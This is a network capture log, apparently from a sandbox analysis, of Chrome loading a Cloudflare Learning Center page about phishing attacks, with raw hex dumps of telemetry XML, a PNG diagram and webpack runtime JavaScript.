2024-10-16 15:56:49 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 7ef1cc09-e01e-0051-19d8-1e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155649Z-16b659b44992vd4bkk50pmnxt00000000a8g00000000tr0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:49 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49846	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	603	OUT	GET /img/learning/security/threats/phishing-attack/diagram-phishing-attack.png HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: image/png Content-Length: 34038 Connection: close Accept-Ranges: bytes Cache-Control: public, max-age=0, must-revalidate ETag: "f881ce0909c7585c5f12986f7499f9db" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dd0jtF1xCqH9IxXPjrps%2FgR9OW2kUSttmFhDBB0Ll9dXl0v0VK5kmEu0fZV1%2FE%2BE5ry2MviY2Ut3crW%2Fgs0LS4HJZnx3Gk2w0OfrW91DoS%2FdpL5XGcC%2FecBMcwjJVEH1bn7Z8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db8dd212cd6-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	407	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 73 00 00 04 68 08 03 00 00 00 bb 00 fa da 00 00 01 b6 50 4c 54 45 ff ff ff 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f0 f0 f0 df df e0 c5 c4 c6 be bd bf ab ac ae 99 9c 9e 9f a1 a3 cb ca cb f7 f8 f8 ff Data Ascii: PNGIHDRshPLTEqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 8d 8b 8c b6 b3 b4 de dc dc ca c7 c7 7e 7c 7c 88 86 86 fd fd fe f5 f4 f4 dc db dc c9 c7 c6 a6 a3 a3 86 84 84 f5 f4 f4 71 71 71 71 71 71 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 54 2b 19 33 00 00 00 92 74 52 4e 53 00 bb ff 44 22 77 88 dd ee 11 66 99 aa cc 55 33 20 40 50 80 60 90 e0 ff 10 a0 30 f0 d0 70 b0 c0 20 70 c0 a0 60 30 80 b0 90 d0 10 f0 e0 40 50 40 30 60 80 c0 ff f0 b0 50 20 e0 a0 10 d0 90 ff ff ff ff ff ff ff ff ff 70 ff ff ff ff ff 40 a0 d0 ff f0 c0 60 ff 10 b0 30 e0 ff 20 80 50 70 90 ff ff ff ff ff ff ff ff ff ff ff ff c4 f3 ff 88 98 f8 fd ff ff 3d b2 ff ff ff ff ff ff fc 2e 88 e6 f3 ff ff ff ff ff dc d8 97 40 ff 30 c0 20 80 10 60 90 e1 90 d0 0d 00 00 82 5d 49 44 41 54 78 01 ec d6 05 01 00 30 0c 00 a0 59 ff Data Ascii: ~\|\|qqqqqqT+3tRNSD"wfU3 @P`0p p`0@P@0`P p@`0 Pp=.@0 `]IDATx0Y
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 46 f7 de 0e 9e 21 c7 01 51 27 68 be 2b bb 72 08 52 ab eb da de d6 39 44 44 44 a4 8c d0 05 67 3e 16 3e cd f7 81 73 9a 57 68 76 ac 6e 9d a3 64 58 ec 43 9f 69 fc d2 39 68 6d 61 40 dc 09 9c 93 af 10 a6 56 d7 b5 a9 73 bc 89 88 88 c8 04 ab dd 64 f0 f3 15 e1 30 7f 1b 0c 54 83 0d 60 5f f6 1c 75 0e db ea 36 b3 b2 70 ea 5e ee 1c 63 8d 0a 02 82 4e 30 51 b9 2d 10 a6 56 d7 b5 a9 73 bc 89 88 88 c8 0a 53 fc 24 8b 67 60 d9 be 0f 76 07 18 7d 37 db a0 a9 30 03 07 df ec d6 39 6c 00 f6 da 4d 3c 7f ee 3e fd 7a 0f a9 3b 1f 06 b7 2a 0a 08 3a 41 f1 0c fc c3 9e 5d e0 48 12 02 00 14 a5 dd 5d a8 f6 fb 9f 72 dd 97 11 32 30 fa 5e 3c 55 58 8c 9f 30 e8 75 c3 ef 84 48 cd fa 4b ea 6c 9a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 8c e5 6a bd f9 d0 b6 Data Ascii: F!Q'h+rR9DDDg>>sWhvndXCi9hma@Vsd0T`_u6p^cN0Q-VsS$g`v}709lM<>z;*:A]H]r20^<UX0uHKl>j
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: f7 73 ac 73 0e 9b de d0 00 dd 57 59 63 1a 29 e0 e8 1c 84 d0 39 e8 1c e4 69 9c 11 e7 74 88 68 c3 ee e5 1d 71 3e 64 6b f8 6d bf d2 39 52 00 63 c5 62 e7 b8 f9 3a 2d 0d df 6d 71 d1 ea 69 e7 b0 e9 0d 17 dd 68 80 ce 34 2a 01 68 64 24 9d 83 10 3a 07 9d 83 3c c4 1e b3 9c de 8e 3b b1 9c 5f df 31 cf 51 b6 86 de 3e 91 bd 5f fe 3e 87 2f c9 b1 cc 39 2a 00 99 9f 1b 7f de 8a af 8e 3a 87 4d 6f 70 70 97 7f 03 f6 79 2b 76 24 9d 83 10 3a 07 9d 83 3c cc 19 cb f8 78 7b fd 73 96 2b bb f3 f1 d7 7e e9 c1 6d 3e 57 b6 ee e4 93 4c 6b e8 d2 2d eb 06 4f d0 16 0b 9d 23 03 d0 7e 9d be 74 68 fd 53 5d 1b 00 85 c4 ab ad 73 4c a7 37 e4 40 3d 7d cb 24 73 c3 93 6d 33 6d d4 8c a4 73 10 42 e7 a0 73 90 47 d8 e3 d9 1c 65 6b 64 05 46 96 3b 87 62 a4 6e a3 ce e1 69 86 7a 33 b7 c8 24 5e 6d 9d 63 3a Data Ascii: ssWYc)9ithq>dkm9Rcb:-mqih4hd$:<;_1Q>_>/9:Moppy+v$:<x{s+~m>WLk-O#~thS]sL7@=}$sm3msBsGekdF;bniz3$^mc:
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: db 5e e3 ad ae 7e 58 9d 1d 5f ec f3 56 bb a4 2b a8 ff ac 2a 76 db 20 00 85 cd 11 b1 b3 41 f2 fd 49 67 31 e9 ad 63 93 68 0e 59 60 1a dd e0 b9 ec c6 0e b7 9d 1e 9c 58 3d 9c 9c f3 16 6b db a4 25 a8 df 56 95 7b a8 13 80 b2 e6 08 cb df ac 4c b0 9e 26 a4 6f 57 02 68 0e 49 50 32 46 cb 24 df 5a aa b4 16 c7 b1 25 c8 54 c7 8e 9e d1 01 77 55 0f dc 10 80 b2 e6 88 48 1f 3f 44 13 ac a7 88 f4 6f 8a a1 39 c0 e7 0f 65 85 a2 16 c9 71 75 62 49 b8 fc 85 e8 d0 dc 7d d5 0b 35 02 50 d5 1c 61 f9 31 8b 10 eb 23 2c 9d 09 01 34 07 f8 fc a1 ac 90 f3 7f 72 9c fe b0 24 1d 22 3a f4 f6 f3 3d 09 ee eb ea a2 a6 56 7d f3 48 00 8a 9a 23 22 5b 0c e2 8f f6 10 91 7e 20 13 42 73 80 8c b2 31 72 25 df 27 c7 fe b1 25 ed f2 17 a2 43 67 ef d3 1c 3f 49 9d a7 ea 1f ae 09 40 4d 73 04 a5 83 81 26 58 5f Data Ascii: ^~X_V+*v AIg1chY`X=k%V{L&oWhIP2F$Z%TwUH?Do9equbI}5Pa1#,4r$":=V}H#"[~ Bs1r%'%Cg?I@Ms&X_
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 38 c5 3e a5 c2 51 22 34 87 07 30 40 8a 31 52 fe e1 47 9f e5 1c 96 6c 73 1c f0 77 3b 04 fa 36 87 f3 e8 b0 d7 72 a0 39 10 1d 2a 9a 43 c1 fb 91 68 70 2a f4 66 4a fc 7e 34 87 4b 60 d6 f0 b3 b2 2f 9e ad 1c 59 12 fe 22 9a 43 62 88 f4 0e fc e9 55 b2 39 1c bd 99 b5 ff a8 5c 73 34 ee c0 e7 fe e3 3f d5 45 87 f2 e6 50 af fb f2 73 34 07 2c 18 be 56 2a f8 61 0b a9 e5 56 73 1c f1 0f 55 f0 a7 3b e9 e6 b0 4b 42 7e 2d 87 64 73 5c 57 41 2b ce a3 03 cd 81 e6 c0 cd 8a 4f cd a1 39 c0 97 cd 61 0f 69 c8 ae e5 40 73 20 3a 34 6d 0e dc ad a8 87 9b 15 dc ae 28 68 0e f1 58 f6 bf aa a0 7d 73 d0 cf 66 74 5c 4b ac e5 78 22 34 07 a2 c3 b7 33 a4 68 0e c0 cd 8a 50 2a e8 df 1c 36 fd 9b 03 cd 61 7f 7a 45 b8 ef bb 96 a3 5a 7b 46 73 a0 39 7c f1 56 56 bd 28 9a 43 02 6e 56 70 bb 82 e6 00 f9 e6 Data Ascii: 8>Q"40@1RGlsw;6r9ChpfJ~4K`/Y"CbU9\s4?EPs4,VaVsU;KB~-ds\WA+O9ai@s :4m(hX}sft\Kx"43hP6azEZ{Fs9\|VV(CnVp
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 70 eb 98 63 8b f4 82 e6 b0 df be 4a a8 ff 6c 90 04 fb e5 2d 9a 03 d4 35 07 25 bb 1c 3b 04 99 5b a8 4d 98 09 53 68 0e 24 87 c4 20 85 50 58 98 2b 19 de c9 cc 88 e2 19 68 ac 24 eb c1 14 e9 2f b7 8e 39 16 49 43 68 8e 57 72 db 13 9a 03 94 37 87 dd 00 21 97 97 73 74 6e 99 08 13 02 68 8e 31 53 28 0d 32 4d 91 27 5b 3a 97 9d f7 a2 37 cc 32 09 83 4e 94 98 a4 cc 76 45 fe e9 8a cc a3 95 55 d2 0f 9a a3 a6 a2 0a 1a 0f 68 0e 50 dc 1c 51 26 24 a2 6a 9a 23 d8 39 14 a6 09 cd 31 66 e6 8c 81 94 66 d2 d4 a2 b0 60 66 8a 86 2a f3 d9 99 3c b5 5a c8 0e f8 cb ca a4 cc 0a ff 70 7a 62 0d e1 88 e3 98 43 43 f6 07 e8 55 a8 bf a2 39 40 6d 73 50 8c 09 21 0f 9a 23 c5 84 30 9a 63 cc 94 87 28 01 71 da 21 a4 17 cc d9 79 c3 55 c5 cc dc 4c 99 da 14 06 09 0e 21 43 ca 6c 6f ba 30 46 7a bc 87 63 Data Ascii: pcJl-5%;[MSh$ PX+h$/9IChWr7!stnh1S(2M'[:72NvEUhPQ&$j#91ff`f*<ZpzbCCU9@msP!#0c(q!yUL!Clo0Fzc
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: a9 00 00 cd 71 8d a7 e7 64 4c 2b 11 9a 63 72 c8 8e 5a 4b 01 00 9a e3 6a 8b 4f de ca 41 73 c0 df d5 22 8b 65 c2 01 80 e6 18 cb 6c 9d 8c e3 b0 91 cb d0 1c 48 b3 63 63 be be ba ea 9c 00 00 cd 31 9a cd 2a 19 c1 7e 29 43 d0 1c 28 bf 76 77 b4 79 91 0a 00 d0 1c 23 db 1d 92 6b 6d 37 42 73 20 a6 3b da 2f 39 df a0 37 00 d0 1c b7 b2 5c 27 d7 38 cc 24 12 cd 81 b4 ab ac f9 32 da a3 7a 01 00 9a e3 86 36 8b 7d 12 6b 3d 93 eb d0 1c 28 0b b5 8d f9 b7 ea a3 7a 27 03 00 00 cd 11 5b 1d 71 b3 8e c3 5c 46 41 73 c0 79 cd ff 49 79 b4 56 0b 2f 11 00 80 e6 88 b4 7c 4e 86 da ce 24 0e cd 01 0d 1f 0b 71 be 50 6b cd a7 68 6c ae 5d 19 9c bb e4 ad 17 00 a0 39 6e 67 b7 dd 27 97 5b bf 3c 49 2c 9a 03 6a 4e ea 3c 2b 25 c4 f9 4e 2b 6b 6f d5 1a 47 cd fc b9 2f fe b6 cc e3 05 00 68 8e 9b 9a 5f Data Ascii: qdL+crZKjOAs"elHcc1*~)C(vwy#km7Bs ;/97\'8$2z6}k=(z'[q\FAsyIyV/\|N$qPkhl]9ng'[<I,jN<+%N+koG/h_
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 00 00 00 00 c0 10 37 87 f2 9b 01 70 8e 88 a1 ff 15 ef 02 99 03 40 3f fe a5 5d 1c ae f1 4d 27 73 fc 3d 00 a6 b8 19 1b 8b 6b 17 be c4 aa bc 22 bf eb 75 30 c6 77 b3 cc f1 d7 00 a8 b1 ea cb 46 1f ab 2a 73 fc 1e f4 71 37 fe 35 99 03 80 25 56 73 2b 87 fc 9e d9 0a d4 b8 eb fa c6 85 b9 da 5e fa f3 32 07 80 e1 ca 18 37 87 e7 ef 06 cd 4d 3f bf 0b 5e 76 88 7f 5c 1b 19 b9 ee 97 fe 88 cc 01 40 8d 9b ae 35 5a 79 e0 d3 9a 3e 24 a7 b8 19 bb 46 16 38 7f ac b5 f3 1f 9b 39 00 0c 57 ae b1 ea cb 43 b9 e9 c3 67 e6 e0 79 6c d4 61 f7 b1 d6 ba 3f 2b 73 00 18 ae 9c 1b a3 95 87 72 d3 87 cf 2c c9 be c6 87 c2 9a 5b 4b 32 c7 9f 0a 30 5c e9 bb 97 9a f8 cf 37 7d 48 96 b8 99 4a ff fd df 7f 5d 63 ab bd b4 3a d6 21 56 b5 96 9d 63 3d c4 cd 54 af cd cc 31 ec 36 cc cc f5 12 ff d7 d5 79 9f 53 Data Ascii: 7p@?]M's=k"u0wF*sq75%Vs+^27M?^v\@5Zy>$F89WCgyla?+sr,[K20\7}HJ]c:!Vc=T16yS
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 7a 2c ab c6 d2 75 ad b9 4b 5d 03 42 b7 0b 07 f5 1c ab a1 f6 cd 02 3d 75 39 7b f7 f7 37 5c 6a fd d4 bd b2 00 86 2b 63 69 67 8e 76 cb 6e 37 fd af ca 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 63 ef 5e d6 93 68 ba 36 8e af 8b f9 77 0e 1a 4d 34 31 09 20 ab 25 6c c2 ae a1 03 05 c3 4c 18 69 e2 93 3c ea ec 8b ef 7e 73 ee af 5a 80 a0 49 ba a0 2b 5a 74 fe bf 63 e0 ea eb a6 6a d5 ba 4f 8a d5 d7 56 b5 78 22 00 00 00 de 95 ce ea 4d 5d d5 ac 9f 95 04 00 00 c0 9b 6a bd a6 b7 8b ea 55 01 00 00 f0 e0 e4 34 d2 fb 44 f5 92 64 03 00 00 50 ac 68 Data Ascii: z,uK]B=u9{7\j+cigvn7c^h6wM41 %lLi<~sZI+ZtcjOVx"M]jU4DdPh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	49848	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	791	OUT	GET /webpack-runtime-1e8f122af67c0024abb2.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	956	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"40c067dcfc91846b5c04d47eb89d9b3d" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mlp9YiWe8StC5k1zit6VQ9pSIDO%2FOotbKFLq%2Bgx%2B1GVdBW0DJU7IHrzzPAEXIvt4howcKXMNxIK0NGSwwfFFup3bg567Crq6Oqyzk1AxtGIOgtmNQPJNPbFJR9DwDhhtx7Ko%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db8fac88d27-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 31 38 65 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 2c 63 3d 7b 7d 2c 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 74 3d 61 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6e 3d 61 5b 65 5d 3d 7b 69 64 3a 65 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 63 5b 65 5d 2e 63 61 6c 6c 28 6e 2e 65 78 70 6f 72 74 73 2c 6e 2c 6e 2e 65 78 70 6f 72 74 73 2c 73 29 2c 6e 2e 6c 6f 61 64 65 64 3d 21 30 2c 6e 2e 65 78 70 6f 72 74 73 7d 73 2e 6d 3d 63 2c 65 3d 5b 5d 2c 73 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 2c 6f 29 7b 69 66 28 21 6e 29 7b 76 Data Ascii: 18e3!function(){"use strict";var e,t,n,r,o,c={},a={};function s(e){var t=a[e];if(void 0!==t)return t.exports;var n=a[e]={id:e,loaded:!1,exports:{}};return c[e].call(n.exports,n,n.exports,s),n.loaded=!0,n.exports}s.m=c,e=[],s.O=function(t,n,r,o){if(!n){v
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 63 74 2e 6b 65 79 73 28 73 2e 66 29 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 73 2e 66 5b 6e 5d 28 65 2c 74 29 2c 74 7d 29 2c 5b 5d 29 29 7d 2c 73 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 7b 34 32 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 65 73 73 2d 70 72 65 73 73 2d 74 73 78 22 2c 34 39 3a 22 42 6c 61 64 65 47 65 6e 65 72 69 63 49 6e 64 75 73 74 72 79 41 6e 61 6c 79 73 74 48 69 67 68 6c 69 67 68 74 73 22 2c 36 36 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 61 62 6f 75 74 2d 79 6f 75 72 2d 77 65 62 73 69 74 65 2d 61 62 6f 75 74 2d 79 6f 75 72 2d 77 65 62 73 69 74 65 2d 74 73 78 22 2c 39 32 Data Ascii: ct.keys(s.f).reduce((function(t,n){return s.f[n](e,t),t}),[]))},s.u=function(e){return({42:"component---src-components-press-press-tsx",49:"BladeGenericIndustryAnalystHighlights",66:"component---src-components-about-your-website-about-your-website-tsx",92
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 6e 74 65 72 2d 74 65 6d 70 6c 61 74 65 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 61 72 74 69 63 6c 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 37 32 32 3a 22 33 37 61 37 36 33 62 34 22 2c 38 30 32 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 65 73 73 2d 72 65 6c 65 61 73 65 73 2d 74 65 6d 70 6c 61 74 65 73 2d 70 72 65 73 73 2d 72 65 6c 65 61 73 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 38 31 30 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 34 30 34 2d 34 30 34 2d 74 73 78 22 2c 38 37 36 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 65 73 73 2d 61 77 61 72 64 73 2d 70 72 65 73 73 2d 61 77 61 72 64 73 Data Ascii: nter-templates-learning-center-article-template-tsx",722:"37a763b4",802:"component---src-components-press-releases-templates-press-release-template-tsx",810:"component---src-components-404-404-tsx",876:"component---src-components-press-awards-press-awards
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 30 37 61 65 22 7d 5b 65 5d 2b 22 2e 6a 73 22 7d 2c 73 2e 6d 69 6e 69 43 73 73 46 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 73 74 79 6c 65 73 2e 66 36 34 30 61 66 38 66 36 33 37 63 33 39 63 61 37 35 64 37 2e 63 73 73 22 7d 2c 73 2e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 54 68 69 73 3b 74 72 79 7b 72 65 74 75 72 6e 20 74 68 69 73 7c 7c 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 7d 63 61 74 63 68 28 65 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 7d 7d 28 29 2c 73 2e 6f 3d 66 75 6e 63 74 Data Ascii: 07ae"}[e]+".js"},s.miniCssF=function(e){return"styles.f640af8f637c39ca75d7.css"},s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),s.o=funct
2024-10-16 15:56:49 UTC	903	IN	Data Raw: 7d 3b 73 2e 66 2e 6a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 73 2e 6f 28 65 2c 74 29 3f 65 5b 74 5d 3a 76 6f 69 64 20 30 3b 69 66 28 30 21 3d 3d 72 29 69 66 28 72 29 6e 2e 70 75 73 68 28 72 5b 32 5d 29 3b 65 6c 73 65 20 69 66 28 2f 5e 28 33 31 31 7c 38 36 39 29 24 2f 2e 74 65 73 74 28 74 29 29 65 5b 74 5d 3d 30 3b 65 6c 73 65 7b 76 61 72 20 6f 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 3d 65 5b 74 5d 3d 5b 6e 2c 6f 5d 7d 29 29 3b 6e 2e 70 75 73 68 28 72 5b 32 5d 3d 6f 29 3b 76 61 72 20 63 3d 73 2e 70 2b 73 2e 75 28 74 29 2c 61 3d 6e 65 77 20 45 72 72 6f 72 3b 73 2e 6c 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 73 2e 6f 28 65 2c 74 29 26 26 28 30 21 3d 3d 28 72 3d 65 5b 74 5d Data Ascii: };s.f.j=function(t,n){var r=s.o(e,t)?e[t]:void 0;if(0!==r)if(r)n.push(r[2]);else if(/^(311\|869)$/.test(t))e[t]=0;else{var o=new Promise((function(n,o){r=e[t]=[n,o]}));n.push(r[2]=o);var c=s.p+s.u(t),a=new Error;s.l(c,(function(n){if(s.o(e,t)&&(0!==(r=e[t]
2024-10-16 15:56:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	49849	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
